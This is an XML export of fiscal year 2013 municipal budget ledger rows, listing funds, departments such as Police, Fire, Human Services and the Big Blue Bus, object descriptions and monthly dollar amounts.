<row _id="885"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511744.0</object><object_description>MED TRUST - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>64042.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>64042.0</total></row>
<row _id="886"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511771.0</object><object_description>RETIREMENT - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6716439.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6716439.0</total></row>
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<row _id="911"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>544193.0</object><object_description>CLEANING SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>216705.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>216705.0</total></row>
<row _id="912"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555013.0</object><object_description>OUTSIDE REPAIRS - SHOP EQUIP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>72131.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>72131.0</total></row>
<row _id="913"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578080.0</object><object_description>TRANSIT MALL MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>-97066.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-97066.0</total></row>
<row _id="914"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522974.0</object><object_description>LNG FUEL-REVENUE VEHICLES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4000000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4000000.0</total></row>
<row _id="915"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>26644.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>266</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>26910.0</total></row>
<row _id="916"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>11303.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>11303.0</total></row>
<row _id="917"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544171.0</object><object_description>PARTICIPANT UNIFORMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>22566.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>22566.0</total></row>
<row _id="918"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="919"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5141.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5141.0</total></row>
<row _id="920"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>87640.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>87640.0</total></row>
<row _id="921"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3400.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3400.0</total></row>
<row _id="922"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
<row _id="923"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>563121.0</object><object_description>CARE MANAGEMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>205000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>205000.0</total></row>
<row _id="924"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>563141.0</object><object_description>SM/MAL-MEALS ON WHEELS-GEN FND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>48488.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>48488.0</total></row>
<row _id="925"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>533660.0</object><object_description>CONF / MTGS / TRAVEL -</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="926"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522319.0</object><object_description>GENERAL OFFICE SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>24900.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>24900.0</total></row>
<row _id="927"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>SAFETY EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>630.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>630.0</total></row>
<row _id="928"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>544190.0</object><object_description>USAR SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>9000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9000.0</total></row>
<row _id="929"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>405920.0</object><object_description>TIDE SHUTTLE HOTEL REVENUE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-193024.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-193024.0</total></row>
<row _id="930"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>511772.0</object><object_description>RETIREMENT - FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>371085.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>371085.0</total></row>
<row _id="931"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>511772.0</object><object_description>RETIREMENT - FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>128165.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>128165.0</total></row>
<row _id="932"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>13905.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>13905.0</total></row>
<row _id="933"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>249758.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>6097</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>255855.0</total></row>
<row _id="934"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>56376.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>564</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>56940.0</total></row>
<row _id="935"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>404400.0</object><object_description>AFFORD HSING PROD PRGM DEVELOP</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-600000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-600000.0</total></row>
<row _id="936"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>605053</april><may>0</may><june>0.0</june><total>605053.0</total></row>
<row _id="937"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>1570</april><may>0</may><june>0.0</june><total>1570.0</total></row>
<row _id="938"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>577064.0</object><object_description>OTHER MISCELLANEOUS EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>9200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9200.0</total></row>
<row _id="939"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>57400.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>57400.0</total></row>
<row _id="940"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>511979.0</object><object_description>MEDICAL EXAMS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>200.0</total></row>
<row _id="941"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>522544.0</object><object_description>GRAPHIC DESIGN</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>47500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>47500.0</total></row>
<row _id="942"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>544119.0</object><object_description>PUBLIC RELATIONS SVC.</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>15000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="943"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577080.0</object><object_description>TMP FEES REIMBURSEMENT</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>252521.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>40087</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>292608.0</total></row>
<row _id="944"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>402650.0</object><object_description>NON-TRANSP REV-OPER</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-25500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-25500.0</total></row>
<row _id="945"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404220.0</object><object_description>OTHER OPER REV-MISCELLANEOUS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-44000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-44000.0</total></row>
<row _id="946"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401230.0</object><object_description>COMMUNITY GARDENS RENTALS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2013</fiscal_year><july>-9300.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-9300.0</total></row>
<row _id="947"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>555200.0</object><object_description>REIMBURSE ENGINEERING OFFICE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>16198.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>16198.0</total></row>
<row _id="948"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2632.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2632.0</total></row>
<row _id="949"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>400570.0</object><object_description>ADMIN FINES/PENALTIES</object_description><category_code>614.0</category_code><category_code_description>Fines and Forfeitures</category_code_description><fiscal_year>2013</fiscal_year><july>-35700.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-35700.0</total></row>
<row _id="950"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>407560.0</object><object_description>SPECIAL INSPECTION FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-22440.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-22440.0</total></row>
<row _id="951"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522830.0</object><object_description>FUEL AND OIL TAXES-REV EQUIP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>250000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>250000.0</total></row>
<row _id="952"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6571.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6571.0</total></row>
<row _id="953"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="954"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>43751.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>43751.0</total></row>
<row _id="955"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>28353.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>28353.0</total></row>
